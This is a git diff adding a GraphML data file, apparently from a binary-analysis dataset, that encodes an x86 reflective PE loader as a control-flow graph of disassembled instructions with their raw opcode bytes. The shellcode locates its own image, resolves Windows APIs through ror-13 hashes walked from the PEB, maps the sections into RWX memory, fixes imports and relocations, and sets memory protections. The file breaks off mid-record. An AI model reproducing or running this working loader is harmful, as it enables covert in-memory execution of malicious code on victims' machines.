data/shellcode/reflective_loader.x86.graphml | 3620 ++++++++++++++++++ 1 file changed, 3620 insertions(+) create mode 100644 data/shellcode/reflective_loader.x86.graphml diff --git a/data/shellcode/reflective_loader.x86.graphml b/data/shellcode/reflective_loader.x86.graphml new file mode 100644 index 0000000000000..1a41284a89b4c --- /dev/null +++ b/data/shellcode/reflective_loader.x86.graphml @@ -0,0 +1,3620 @@ + + + + + + + + + + 0x1000 + instructions-graph + + 0x1000 + instructions + + 0x1000 + instruction + 55 + push ebp + + + 0x1001 + instruction + 89e5 + mov ebp, esp + + + 0x1003 + instruction + 83ec50 + sub esp, 0x50 + + + 0x1006 + instruction + 53 + push ebx + + + 0x1007 + instruction + 56 + push esi + + + 0x1008 + instruction + 57 + push edi + + + 0x1009 + instruction + 31c0 + xor eax, eax + + + 0x100b + instruction + 8945fc + mov dword ptr [ebp - 4], eax + + + 0x100e + instruction + 8945f8 + mov dword ptr [ebp - 8], eax + + + 0x1011 + instruction + 8945f4 + mov dword ptr [ebp - 0xc], eax + + + 0x1014 + instruction + 8945f0 + mov dword ptr [ebp - 0x10], eax + + + 0x1017 + instruction + 8945b4 + mov dword ptr [ebp - 0x4c], eax + + + 0x101a + instruction + 31c9 + xor ecx, ecx + + + 0x101c + instruction + 85c9 + test ecx, ecx + + + 0x101e + instruction + 7533 + jne 0x1053 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x1020 + instructions-graph + + 0x1020 + instructions + + 0x1020 + instruction + e800000000 + call 0x1025 + + + + + 0x1025 + instructions-graph + + 0x1025 + instructions + + 0x1025 + instruction + 59 + pop ecx + + + 0x1026 + instruction + 81e100f0ffff + and ecx, 0xfffff000 + + + + + + 0x102c + instructions-graph + + 0x102c + instructions + + 0x102c + instruction + 6681394d5a + cmp word ptr [ecx], 0x5a4d + + + 0x1031 + instruction + 7518 + jne 0x104b + + + + + + 0x1033 + instructions-graph + + 0x1033 + instructions + + 0x1033 + instruction + 8b413c + mov eax, dword ptr [ecx + 0x3c] + + + 0x1036 + instruction + 83f840 + cmp eax, 0x40 + + + 0x1039 + instruction + 7210 + jb 0x104b + + + + + + + 0x103b + instructions-graph + + 0x103b + instructions + + 0x103b + instruction + 3d00040000 + cmp eax, 0x400 + + + 0x1040 + instruction + 7309 + jae 0x104b + + + + + + 0x1042 + instructions-graph + + 0x1042 + instructions + + 0x1042 + instruction + 813c0150450000 + cmp dword ptr [ecx + eax], 0x4550 + + + 0x1049 + instruction + 7408 + je 0x1053 + + + + + + 0x104b + instructions-graph + + 0x104b + instructions + + 0x104b + instruction + 81e900100000 + sub ecx, 0x1000 + + + 0x1051 + instruction + ebd9 + jmp 0x102c + + + + + + 0x1053 + instructions-graph + + 0x1053 + instructions + + 0x1053 + instruction + 894dec + mov dword ptr [ebp - 0x14], ecx + + + 0x1056 + instruction + 64a130000000 + mov eax, dword ptr fs:[0x30] + + + 0x105c + instruction + 8b400c + mov eax, dword ptr [eax + 0xc] + + + 0x105f + instruction + 8b4014 + mov eax, dword ptr [eax + 0x14] + + + + + + + + + + 0x1062 + instructions-graph + + 0x1062 + instructions + + 0x1062 + instruction + 85c0 + test eax, eax + + + 0x1064 + instruction + 0f847f010000 + je 0x11e9 + + + + + + 0x106a + instructions-graph + + 0x106a + instructions + + 0x106a + instruction + 8945d0 + mov dword ptr [ebp - 0x30], eax + + + 0x106d + instruction + 0fb74824 + movzx ecx, word ptr [eax + 0x24] + + + 0x1071 + instruction + 85c9 + test ecx, ecx + + + 0x1073 + instruction + 0f8466010000 + je 0x11df + + + + + + + + 0x1079 + instructions-graph + + 0x1079 + instructions + + 0x1079 + instruction + 8b5028 + mov edx, dword ptr [eax + 0x28] + + + 0x107c + instruction + bf00000000 + mov edi, 0 + + + + + 0x1081 + instructions-graph + + 0x1081 + instructions + + 0x1081 + instruction + c1cf0d + ror edi, 0xd + + + 0x1084 + instruction + 0fb61a + movzx ebx, byte ptr [edx] + + + 0x1087 + instruction + 80fb61 + cmp bl, 0x61 + + + 0x108a + instruction + 7203 + jb 0x108f + + + + + + + + 0x108c + instructions-graph + + 0x108c + instructions + + 0x108c + instruction + 80eb20 + sub bl, 0x20 + + + + + 0x108f + instructions-graph + + 0x108f + instructions + + 0x108f + instruction + 01df + add edi, ebx + + + 0x1091 + instruction + 42 + inc edx + + + 0x1092 + instruction + 49 + dec ecx + + + 0x1093 + instruction + 75ec + jne 0x1081 + + + + + + + + 0x1095 + instructions-graph + + 0x1095 + instructions + + 0x1095 + instruction + 81ff5bbc4a6a + cmp edi, 0x6a4abc5b + + + 0x109b + instruction + 7411 + je 0x10ae + + + + + + 0x109d + instructions-graph + + 0x109d + instructions + + 0x109d + instruction + 81ff5d68fa3c + cmp edi, 0x3cfa685d + + + 0x10a3 + instruction + 0f8489000000 + je 0x1132 + + + + + + 0x10a9 + instructions-graph + + 0x10a9 + instructions + + 0x10a9 + instruction + e931010000 + jmp 0x11df + + + + + 0x10ae + instructions-graph + + 0x10ae + instructions + + 0x10ae + instruction + 8b45d0 + mov eax, dword ptr [ebp - 0x30] + + + 0x10b1 + instruction + 8b7010 + mov esi, dword ptr [eax + 0x10] + + + 0x10b4 + instruction + 8975e8 + mov dword ptr [ebp - 0x18], esi + + + 0x10b7 + instruction + e862030000 + call 0x141e + + + + + + + + + 0x10bc + instructions-graph + + 0x10bc + instructions + + 0x10bc + instruction + c745bc02000000 + mov dword ptr [ebp - 0x44], 2 + + + + + 0x10c3 + instructions-graph + + 0x10c3 + instructions + + 0x10c3 + instruction + 8b45c8 + mov eax, dword ptr [ebp - 0x38] + + + 0x10c6 + instruction + 85c0 + test eax, eax + + + 0x10c8 + instruction + 0f84f3000000 + je 0x11c1 + + + + + + + 0x10ce + instructions-graph + + 0x10ce + instructions + + 0x10ce + instruction + 48 + dec eax + + + 0x10cf + instruction + 8945c8 + mov dword ptr [ebp - 0x38], eax + + + 0x10d2 + instruction + 8b4ddc + mov ecx, dword ptr [ebp - 0x24] + + + 0x10d5 + instruction + 8b09 + mov ecx, dword ptr [ecx] + + + 0x10d7 + instruction + 034de8 + add ecx, dword ptr [ebp - 0x18] + + + 0x10da + instruction + e866030000 + call 0x1445 + + + + + + + + + + + + + + 0x10df + instructions-graph + + 0x10df + instructions + + 0x10df + instruction + 8945b8 + mov dword ptr [ebp - 0x48], eax + + + 0x10e2 + instruction + 3d8e4e0eec + cmp eax, 0xec0e4e8e + + + 0x10e7 + instruction + 7409 + je 0x10f2 + + + + + + + 0x10e9 + instructions-graph + + 0x10e9 + instructions + + 0x10e9 + instruction + 3daafc0d7c + cmp eax, 0x7c0dfcaa + + + 0x10ee + instruction + 7402 + je 0x10f2 + + + + + + 0x10f0 + instructions-graph + + 0x10f0 + instructions + + 0x10f0 + instruction + eb36 + jmp 0x1128 + + + + + 0x10f2 + instructions-graph + + 0x10f2 + instructions + + 0x10f2 + instruction + 8b55e0 + mov edx, dword ptr [ebp - 0x20] + + + 0x10f5 + instruction + 8b521c + mov edx, dword ptr [edx + 0x1c] + + + 0x10f8 + instruction + 0355e8 + add edx, dword ptr [ebp - 0x18] + + + 0x10fb + instruction + 8b4dd8 + mov ecx, dword ptr [ebp - 0x28] + + + 0x10fe + instruction + 0fb709 + movzx ecx, word ptr [ecx] + + + 0x1101 + instruction + 8b148a + mov edx, dword ptr [edx + ecx*4] + + + 0x1104 + instruction + 0355e8 + add edx, dword ptr [ebp - 0x18] + + + 0x1107 + instruction + 8b45b8 + mov eax, dword ptr [ebp - 0x48] + + + 0x110a + instruction + 3d8e4e0eec + cmp eax, 0xec0e4e8e + + + 0x110f + instruction + 7505 + jne 0x1116 + + + + + + + + + + + + + + + 0x1111 + instructions-graph + + 0x1111 + instructions + + 0x1111 + instruction + 8955fc + mov dword ptr [ebp - 4], edx + + + 0x1114 + instruction + eb03 + jmp 0x1119 + + + + + + 0x1116 + instructions-graph + + 0x1116 + instructions + + 0x1116 + instruction + 8955f8 + mov dword ptr [ebp - 8], edx + + + + + 0x1119 + instructions-graph + + 0x1119 + instructions + + 0x1119 + instruction + 8b45bc + mov eax, dword ptr [ebp - 0x44] + + + 0x111c + instruction + 48 + dec eax + + + 0x111d + instruction + 8945bc + mov dword ptr [ebp - 0x44], eax + + + 0x1120 + instruction + 85c0 + test eax, eax + + + 0x1122 + instruction + 0f8499000000 + je 0x11c1 + + + + + + + + + + + 0x1128 + instructions-graph + + 0x1128 + instructions + + 0x1128 + instruction + 8345dc04 + add dword ptr [ebp - 0x24], 4 + + + 0x112c + instruction + 8345d802 + add dword ptr [ebp - 0x28], 2 + + + 0x1130 + instruction + eb91 + jmp 0x10c3 + + + + + + + 0x1132 + instructions-graph + + 0x1132 + instructions + + 0x1132 + instruction + 8b45d0 + mov eax, dword ptr [ebp - 0x30] + + + 0x1135 + instruction + 8b7010 + mov esi, dword ptr [eax + 0x10] + + + 0x1138 + instruction + 8975e8 + mov dword ptr [ebp - 0x18], esi + + + 0x113b + instruction + e8de020000 + call 0x141e + + + + + + + + + 0x1140 + instructions-graph + + 0x1140 + instructions + + 0x1140 + instruction + c745bc03000000 + mov dword ptr [ebp - 0x44], 3 + + + + + 0x1147 + instructions-graph + + 0x1147 + instructions + + 0x1147 + instruction + 8b45c8 + mov eax, dword ptr [ebp - 0x38] + + + 0x114a + instruction + 85c0 + test eax, eax + + + 0x114c + instruction + 7473 + je 0x11c1 + + + + + + + 0x114e + instructions-graph + + 0x114e + instructions + + 0x114e + instruction + 48 + dec eax + + + 0x114f + instruction + 8945c8 + mov dword ptr [ebp - 0x38], eax + + + 0x1152 + instruction + 8b4ddc + mov ecx, dword ptr [ebp - 0x24] + + + 0x1155 + instruction + 8b09 + mov ecx, dword ptr [ecx] + + + 0x1157 + instruction + 034de8 + add ecx, dword ptr [ebp - 0x18] + + + 0x115a + instruction + e8e6020000 + call 0x1445 + + + + + + + + + + + + + + 0x115f + instructions-graph + + 0x115f + instructions + + 0x115f + instruction + 8945b8 + mov dword ptr [ebp - 0x48], eax + + + 0x1162 + instruction + 3db80a4c53 + cmp eax, 0x534c0ab8 + + + 0x1167 + instruction + 7410 + je 0x1179 + + + + + + + 0x1169 + instructions-graph + + 0x1169 + instructions + + 0x1169 + instruction + 3ded4a3dd3 + cmp eax, 0xd33d4aed + + + 0x116e + instruction + 7409 + je 0x1179 + + + + + + 0x1170 + instructions-graph + + 0x1170 + instructions + + 0x1170 + instruction + 3d894d3fbc + cmp eax, 0xbc3f4d89 + + + 0x1175 + instruction + 7402 + je 0x1179 + + + + + + 0x1177 + instructions-graph + + 0x1177 + instructions + + 0x1177 + instruction + eb3e + jmp 0x11b7 + + + + + 0x1179 + instructions-graph + + 0x1179 + instructions + + 0x1179 + instruction + 8b55e0 + mov edx, dword ptr [ebp - 0x20] + + + 0x117c + instruction + 8b521c + mov edx, dword ptr [edx + 0x1c] + + + 0x117f + instruction + 0355e8 + add edx, dword ptr [ebp - 0x18] + + + 0x1182 + instruction + 8b4dd8 + mov ecx, dword ptr [ebp - 0x28] + + + 0x1185 + instruction + 0fb709 + movzx ecx, word ptr [ecx] + + + 0x1188 + instruction + 8b148a + mov edx, dword ptr [edx + ecx*4] + + + 0x118b + instruction + 0355e8 + add edx, dword ptr [ebp - 0x18] + + + 0x118e + instruction + 8b45b8 + mov eax, dword ptr [ebp - 0x48] + + + 0x1191 + instruction + 3db80a4c53 + cmp eax, 0x534c0ab8 + + + 0x1196 + instruction + 7505 + jne 0x119d + + + + + + + + + + + + + + + 0x1198 + instructions-graph + + 0x1198 + instructions + + 0x1198 + instruction + 8955f0 + mov dword ptr [ebp - 0x10], edx + + + 0x119b + instruction + eb0f + jmp 0x11ac + + + + + + 0x119d + instructions-graph + + 0x119d + instructions + + 0x119d + instruction + 3ded4a3dd3 + cmp eax, 0xd33d4aed + + + 0x11a2 + instruction + 7505 + jne 0x11a9 + + + + + + 0x11a4 + instructions-graph + + 0x11a4 + instructions + + 0x11a4 + instruction + 8955f4 + mov dword ptr [ebp - 0xc], edx + + + 0x11a7 + instruction + eb03 + jmp 0x11ac + + + + + + 0x11a9 + instructions-graph + + 0x11a9 + instructions + + 0x11a9 + instruction + 8955b4 + mov dword ptr [ebp - 0x4c], edx + + + + + 0x11ac + instructions-graph + + 0x11ac + instructions + + 0x11ac + instruction + 8b45bc + mov eax, dword ptr [ebp - 0x44] + + + 0x11af + instruction + 48 + dec eax + + + 0x11b0 + instruction + 8945bc + mov dword ptr [ebp - 0x44], eax + + + 0x11b3 + instruction + 85c0 + test eax, eax + + + 0x11b5 + instruction + 740a + je 0x11c1 + + + + + + + + + + + 0x11b7 + instructions-graph + + 0x11b7 + instructions + + 0x11b7 + instruction + 8345dc04 + add dword ptr [ebp - 0x24], 4 + + + 0x11bb + instruction + 8345d802 + add dword ptr [ebp - 0x28], 2 + + + 0x11bf + instruction + eb86 + jmp 0x1147 + + + + + + + 0x11c1 + instructions-graph + + 0x11c1 + instructions + + 0x11c1 + instruction + 837dfc00 + cmp dword ptr [ebp - 4], 0 + + + 0x11c5 + instruction + 7418 + je 0x11df + + + + + + 0x11c7 + instructions-graph + + 0x11c7 + instructions + + 0x11c7 + instruction + 837df800 + cmp dword ptr [ebp - 8], 0 + + + 0x11cb + instruction + 7412 + je 0x11df + + + + + + 0x11cd + instructions-graph + + 0x11cd + instructions + + 0x11cd + instruction + 837df400 + cmp dword ptr [ebp - 0xc], 0 + + + 0x11d1 + instruction + 740c + je 0x11df + + + + + + 0x11d3 + instructions-graph + + 0x11d3 + instructions + + 0x11d3 + instruction + 837db400 + cmp dword ptr [ebp - 0x4c], 0 + + + 0x11d7 + instruction + 7406 + je 0x11df + + + + + + 0x11d9 + instructions-graph + + 0x11d9 + instructions + + 0x11d9 + instruction + 837df000 + cmp dword ptr [ebp - 0x10], 0 + + + 0x11dd + instruction + 750a + jne 0x11e9 + + + + + + 0x11df + instructions-graph + + 0x11df + instructions + + 0x11df + instruction + 8b45d0 + mov eax, dword ptr [ebp - 0x30] + + + 0x11e2 + instruction + 8b00 + mov eax, dword ptr [eax] + + + 0x11e4 + instruction + e979feffff + jmp 0x1062 + + + + + + + 0x11e9 + instructions-graph + + 0x11e9 + instructions + + 0x11e9 + instruction + 8b4dec + mov ecx, dword ptr [ebp - 0x14] + + + 0x11ec + instruction + 8b413c + mov eax, dword ptr [ecx + 0x3c] + + + 0x11ef + instruction + 01c8 + add eax, ecx + + + 0x11f1 + instruction + 8945e4 + mov dword ptr [ebp - 0x1c], eax + + + 0x11f4 + instruction + 83ec08 + sub esp, 8 + + + 0x11f7 + instruction + c7042400000000 + mov dword ptr [esp], 0 + + + 0x11fe + instruction + 8b55e4 + mov edx, dword ptr [ebp - 0x1c] + + + 0x1201 + instruction + 8b5250 + mov edx, dword ptr [edx + 0x50] + + + 0x1204 + instruction + 89542404 + mov dword ptr [esp + 4], edx + + + 0x1208 + instruction + 6a40 + push 0x40 + + + 0x120a + instruction + 6800300000 + push 0x3000 + + + 0x120f + instruction + 8d44240c + lea eax, [esp + 0xc] + + + 0x1213 + instruction + 50 + push eax + + + 0x1214 + instruction + 6a00 + push 0 + + + 0x1216 + instruction + 8d442410 + lea eax, [esp + 0x10] + + + 0x121a + instruction + 50 + push eax + + + 0x121b + instruction + 6aff + push -1 + + + 0x121d + instruction + 8b55f4 + mov edx, dword ptr [ebp - 0xc] + + + 0x1220 + instruction + e8f1010000 + call 0x1416 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x1225 + instructions-graph + + 0x1225 + instructions + + 0x1225 + instruction + 8b0424 + mov eax, dword ptr [esp] + + + 0x1228 + instruction + 83c408 + add esp, 8 + + + 0x122b + instruction + 8945e8 + mov dword ptr [ebp - 0x18], eax + + + 0x122e + instruction + 8b55e4 + mov edx, dword ptr [ebp - 0x1c] + + + 0x1231 + instruction + 8b4a54 + mov ecx, dword ptr [edx + 0x54] + + + 0x1234 + instruction + 8b75ec + mov esi, dword ptr [ebp - 0x14] + + + 0x1237 + instruction + 8b7de8 + mov edi, dword ptr [ebp - 0x18] + + + + + + + + + + 0x123a + instructions-graph + + 0x123a + instructions + + 0x123a + instruction + f3a4 + rep movsb byte ptr es:[edi], byte ptr [esi] + + + + + 0x123c + instructions-graph + + 0x123c + instructions + + 0x123c + instruction + 8b55e4 + mov edx, dword ptr [ebp - 0x1c] + + + 0x123f + instruction + 0fb74214 + movzx eax, word ptr [edx + 0x14] + + + 0x1243 + instruction + 8d5c0218 + lea ebx, [edx + eax + 0x18] + + + 0x1247 + instruction + 0fb74206 + movzx eax, word ptr [edx + 6] + + + 0x124b + instruction + 8945cc + mov dword ptr [ebp - 0x34], eax + + + + + + + + + + + + + 0x124e + instructions-graph + + 0x124e + instructions + + 0x124e + instruction + 837dcc00 + cmp dword ptr [ebp - 0x34], 0 + + + 0x1252 + instruction + 741d + je 0x1271 + + + + + + 0x1254 + instructions-graph + + 0x1254 + instructions + + 0x1254 + instruction + 8b430c + mov eax, dword ptr [ebx + 0xc] + + + 0x1257 + instruction + 8b7de8 + mov edi, dword ptr [ebp - 0x18] + + + 0x125a + instruction + 01c7 + add edi, eax + + + 0x125c + instruction + 8b4314 + mov eax, dword ptr [ebx + 0x14] + + + 0x125f + instruction + 8b75ec + mov esi, dword ptr [ebp - 0x14] + + + 0x1262 + instruction + 01c6 + add esi, eax + + + 0x1264 + instruction + 8b4b10 + mov ecx, dword ptr [ebx + 0x10] + + + + + + + + + + + + 0x1267 + instructions-graph + + 0x1267 + instructions + + 0x1267 + instruction + f3a4 + rep movsb byte ptr es:[edi], byte ptr [esi] + + + + + 0x1269 + instructions-graph + + 0x1269 + instructions + + 0x1269 + instruction + 83c328 + add ebx, 0x28 + + + 0x126c + instruction + ff4dcc + dec dword ptr [ebp - 0x34] + + + 0x126f + instruction + ebdd + jmp 0x124e + + + + + + + 0x1271 + instructions-graph + + 0x1271 + instructions + + 0x1271 + instruction + 8b55e4 + mov edx, dword ptr [ebp - 0x1c] + + + 0x1274 + instruction + 8b8280000000 + mov eax, dword ptr [edx + 0x80] + + + 0x127a + instruction + 85c0 + test eax, eax + + + 0x127c + instruction + 746d + je 0x12eb + + + + + + + + 0x127e + instructions-graph + + 0x127e + instructions + + 0x127e + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x1281 + instruction + 8945c4 + mov dword ptr [ebp - 0x3c], eax + + + + + + 0x1284 + instructions-graph + + 0x1284 + instructions + + 0x1284 + instruction + 8b55c4 + mov edx, dword ptr [ebp - 0x3c] + + + 0x1287 + instruction + 8b420c + mov eax, dword ptr [edx + 0xc] + + + 0x128a + instruction + 85c0 + test eax, eax + + + 0x128c + instruction + 745d + je 0x12eb + + + + + + + + 0x128e + instructions-graph + + 0x128e + instructions + + 0x128e + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x1291 + instruction + 50 + push eax + + + 0x1292 + instruction + ff55fc + call dword ptr [ebp - 4] + + + + + + + 0x1295 + instructions-graph + + 0x1295 + instructions + + 0x1295 + instruction + 8945c0 + mov dword ptr [ebp - 0x40], eax + + + 0x1298 + instruction + 8b55c4 + mov edx, dword ptr [ebp - 0x3c] + + + 0x129b + instruction + 8b02 + mov eax, dword ptr [edx] + + + 0x129d + instruction + 85c0 + test eax, eax + + + 0x129f + instruction + 7503 + jne 0x12a4 + + + + + + + + + 0x12a1 + instructions-graph + + 0x12a1 + instructions + + 0x12a1 + instruction + 8b4210 + mov eax, dword ptr [edx + 0x10] + + + + + 0x12a4 + instructions-graph + + 0x12a4 + instructions + + 0x12a4 + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x12a7 + instruction + 89c6 + mov esi, eax + + + 0x12a9 + instruction + 8b4210 + mov eax, dword ptr [edx + 0x10] + + + 0x12ac + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x12af + instruction + 89c7 + mov edi, eax + + + + + + + + + + + 0x12b1 + instructions-graph + + 0x12b1 + instructions + + 0x12b1 + instruction + 8b06 + mov eax, dword ptr [esi] + + + 0x12b3 + instruction + 85c0 + test eax, eax + + + 0x12b5 + instruction + 742e + je 0x12e5 + + + + + + + 0x12b7 + instructions-graph + + 0x12b7 + instructions + + 0x12b7 + instruction + a900000080 + test eax, 0x80000000 + + + 0x12bc + instruction + 7511 + jne 0x12cf + + + + + + 0x12be + instructions-graph + + 0x12be + instructions + + 0x12be + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x12c1 + instruction + 83c002 + add eax, 2 + + + 0x12c4 + instruction + 50 + push eax + + + 0x12c5 + instruction + ff75c0 + push dword ptr [ebp - 0x40] + + + 0x12c8 + instruction + ff55f8 + call dword ptr [ebp - 8] + + + + + + + + + + 0x12cb + instructions-graph + + 0x12cb + instructions + + 0x12cb + instruction + 8907 + mov dword ptr [edi], eax + + + 0x12cd + instruction + eb0e + jmp 0x12dd + + + + + + 0x12cf + instructions-graph + + 0x12cf + instructions + + 0x12cf + instruction + 25ffff0000 + and eax, 0xffff + + + 0x12d4 + instruction + 50 + push eax + + + 0x12d5 + instruction + ff75c0 + push dword ptr [ebp - 0x40] + + + 0x12d8 + instruction + ff55f8 + call dword ptr [ebp - 8] + + + + + + + + 0x12db + instructions-graph + + 0x12db + instructions + + 0x12db + instruction + 8907 + mov dword ptr [edi], eax + + + + + 0x12dd + instructions-graph + + 0x12dd + instructions + + 0x12dd + instruction + 83c604 + add esi, 4 + + + 0x12e0 + instruction + 83c704 + add edi, 4 + + + 0x12e3 + instruction + ebcc + jmp 0x12b1 + + + + + + + 0x12e5 + instructions-graph + + 0x12e5 + instructions + + 0x12e5 + instruction + 8345c414 + add dword ptr [ebp - 0x3c], 0x14 + + + 0x12e9 + instruction + eb99 + jmp 0x1284 + + + + + + 0x12eb + instructions-graph + + 0x12eb + instructions + + 0x12eb + instruction + 8b55e4 + mov edx, dword ptr [ebp - 0x1c] + + + 0x12ee + instruction + 8b45e8 + mov eax, dword ptr [ebp - 0x18] + + + 0x12f1 + instruction + 2b4234 + sub eax, dword ptr [edx + 0x34] + + + 0x12f4 + instruction + 8945ec + mov dword ptr [ebp - 0x14], eax + + + 0x12f7 + instruction + 8b82a0000000 + mov eax, dword ptr [edx + 0xa0] + + + 0x12fd + instruction + 85c0 + test eax, eax + + + 0x12ff + instruction + 7464 + je 0x1365 + + + + + + + + + + + + + + 0x1301 + instructions-graph + + 0x1301 + instructions + + 0x1301 + instruction + 8b8aa4000000 + mov ecx, dword ptr [edx + 0xa4] + + + 0x1307 + instruction + 85c9 + test ecx, ecx + + + 0x1309 + instruction + 745a + je 0x1365 + + + + + + + 0x130b + instructions-graph + + 0x130b + instructions + + 0x130b + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x130e + instruction + 8945c4 + mov dword ptr [ebp - 0x3c], eax + + + + + + 0x1311 + instructions-graph + + 0x1311 + instructions + + 0x1311 + instruction + 8b55c4 + mov edx, dword ptr [ebp - 0x3c] + + + 0x1314 + instruction + 8b4204 + mov eax, dword ptr [edx + 4] + + + 0x1317 + instruction + 85c0 + test eax, eax + + + 0x1319 + instruction + 744a + je 0x1365 + + + + + + + + 0x131b + instructions-graph + + 0x131b + instructions + + 0x131b + instruction + 83e808 + sub eax, 8 + + + 0x131e + instruction + d1e8 + shr eax, 1 + + + 0x1320 + instruction + 8945cc + mov dword ptr [ebp - 0x34], eax + + + 0x1323 + instruction + 8b02 + mov eax, dword ptr [edx] + + + 0x1325 + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x1328 + instruction + 8945c0 + mov dword ptr [ebp - 0x40], eax + + + 0x132b + instruction + 8d5a08 + lea ebx, [edx + 8] + + + + + + + + + + + + + 0x132e + instructions-graph + + 0x132e + instructions + + 0x132e + instruction + 837dcc00 + cmp dword ptr [ebp - 0x34], 0 + + + 0x1332 + instruction + 7424 + je 0x1358 + + + + + + 0x1334 + instructions-graph + + 0x1334 + instructions + + 0x1334 + instruction + 0fb703 + movzx eax, word ptr [ebx] + + + 0x1337 + instruction + 89c1 + mov ecx, eax + + + 0x1339 + instruction + c1e90c + shr ecx, 0xc + + + 0x133c + instruction + 25ff0f0000 + and eax, 0xfff + + + 0x1341 + instruction + 83f903 + cmp ecx, 3 + + + 0x1344 + instruction + 750a + jne 0x1350 + + + + + + + + + + + + + 0x1346 + instructions-graph + + 0x1346 + instructions + + 0x1346 + instruction + 8b55c0 + mov edx, dword ptr [ebp - 0x40] + + + 0x1349 + instruction + 01c2 + add edx, eax + + + 0x134b + instruction + 8b4dec + mov ecx, dword ptr [ebp - 0x14] + + + 0x134e + instruction + 010a + add dword ptr [edx], ecx + + + + + + + + + 0x1350 + instructions-graph + + 0x1350 + instructions + + 0x1350 + instruction + 83c302 + add ebx, 2 + + + 0x1353 + instruction + ff4dcc + dec dword ptr [ebp - 0x34] + + + 0x1356 + instruction + ebd6 + jmp 0x132e + + + + + + + 0x1358 + instructions-graph + + 0x1358 + instructions + + 0x1358 + instruction + 8b55c4 + mov edx, dword ptr [ebp - 0x3c] + + + 0x135b + instruction + 8b4204 + mov eax, dword ptr [edx + 4] + + + 0x135e + instruction + 01c2 + add edx, eax + + + 0x1360 + instruction + 8955c4 + mov dword ptr [ebp - 0x3c], edx + + + 0x1363 + instruction + ebac + jmp 0x1311 + + + + + + + + + + + + 0x1365 + instructions-graph + + 0x1365 + instructions + + 0x1365 + instruction + 8b4de8 + mov ecx, dword ptr [ebp - 0x18] + + + 0x1368 + instruction + 8b413c + mov eax, dword ptr [ecx + 0x3c] + + + 0x136b + instruction + 01c8 + add eax, ecx + + + 0x136d + instruction + 8945e4 + mov dword ptr [ebp - 0x1c], eax + + + 0x1370 + instruction + 0fb74814 + movzx ecx, word ptr [eax + 0x14] + + + 0x1374 + instruction + 8d4c0818 + lea ecx, [eax + ecx + 0x18] + + + 0x1378 + instruction + 894dc4 + mov dword ptr [ebp - 0x3c], ecx + + + 0x137b + instruction + 0fb74006 + movzx eax, word ptr [eax + 6] + + + 0x137f + instruction + 8945cc + mov dword ptr [ebp - 0x34], eax + + + + + + + + + + + + + + + + + + + + + + + + 0x1382 + instructions-graph + + 0x1382 + instructions + + 0x1382 + instruction + 837dcc00 + cmp dword ptr [ebp - 0x34], 0 + + + 0x1386 + instruction + 7460 + je 0x13e8 + + + + + + 0x1388 + instructions-graph + + 0x1388 + instructions + + 0x1388 + instruction + 8b5dc4 + mov ebx, dword ptr [ebp - 0x3c] + + + 0x138b + instruction + 8b4308 + mov eax, dword ptr [ebx + 8] + + + 0x138e + instruction + 85c0 + test eax, eax + + + 0x1390 + instruction + 744d + je 0x13df + + + + + + + + 0x1392 + instructions-graph + + 0x1392 + instructions + + 0x1392 + instruction + 8b4324 + mov eax, dword ptr [ebx + 0x24] + + + 0x1395 + instruction + c1e81d + shr eax, 0x1d + + + 0x1398 + instruction + 83e007 + and eax, 7 + + + 0x139b + instruction + e9ba000000 + jmp 0x145a + + + + + + + + 0x13a0 + instructions-graph + + 0x13a0 + instructions + + 0x13a0 + instruction + 59 + pop ecx + + + 0x13a1 + instruction + 0fb63401 + movzx esi, byte ptr [ecx + eax] + + + 0x13a5 + instruction + eb00 + jmp 0x13a7 + + + + + + 0x13a7 + instructions-graph + + 0x13a7 + instructions + + 0x13a7 + instruction + 83ec0c + sub esp, 0xc + + + 0x13aa + instruction + 8b430c + mov eax, dword ptr [ebx + 0xc] + + + 0x13ad + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x13b0 + instruction + 890424 + mov dword ptr [esp], eax + + + 0x13b3 + instruction + 8b4308 + mov eax, dword ptr [ebx + 8] + + + 0x13b6 + instruction + 89442404 + mov dword ptr [esp + 4], eax + + + 0x13ba + instruction + c744240800000000 + mov dword ptr [esp + 8], 0 + + + 0x13c2 + instruction + 8d442408 + lea eax, [esp + 8] + + + 0x13c6 + instruction + 50 + push eax + + + 0x13c7 + instruction + 56 + push esi + + + 0x13c8 + instruction + 8d44240c + lea eax, [esp + 0xc] + + + 0x13cc + instruction + 50 + push eax + + + 0x13cd + instruction + 8d44240c + lea eax, [esp + 0xc] + + + 0x13d1 + instruction + 50 + push eax + + + 0x13d2 + instruction + 6aff + push -1 + + + 0x13d4 + instruction + 8b55b4 + mov edx, dword ptr [ebp - 0x4c] + + + 0x13d7 + instruction + e83a000000 + call 0x1416 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0x13dc + instructions-graph + + 0x13dc + instructions + + 0x13dc + instruction + 83c40c + add esp, 0xc + + + + + 0x13df + instructions-graph + + 0x13df + instructions + + 0x13df + instruction + 8345c428 + add dword ptr [ebp - 0x3c], 0x28 + + + 0x13e3 + instruction + ff4dcc + dec dword ptr [ebp - 0x34] + + + 0x13e6 + instruction + eb9a + jmp 0x1382 + + + + + + + 0x13e8 + instructions-graph + + 0x13e8 + instructions + + 0x13e8 + instruction + 8b4de8 + mov ecx, dword ptr [ebp - 0x18] + + + 0x13eb + instruction + 8b413c + mov eax, dword ptr [ecx + 0x3c] + + + 0x13ee + instruction + 01c8 + add eax, ecx + + + 0x13f0 + instruction + 8b4028 + mov eax, dword ptr [eax + 0x28] + + + 0x13f3 + instruction + 0345e8 + add eax, dword ptr [ebp - 0x18] + + + 0x13f6 + instruction + 8945c4 + mov dword ptr [ebp - 0x3c], eax + + + 0x13f9 + instruction + 6a00 + push 0 + + + 0x13fb + instruction + 6a00 + push 0 + + + 0x13fd + instruction + 6aff + push -1 + + + 0x13ff + instruction + ff55f0 + call dword ptr [ebp - 0x10] + + + + + + + + + + + + + + + + + + + + 0x1402 + instructions-graph + + 0x1402 + instructions + + 0x1402 + instruction + 6a00 + push 0 + + + 0x1404 + 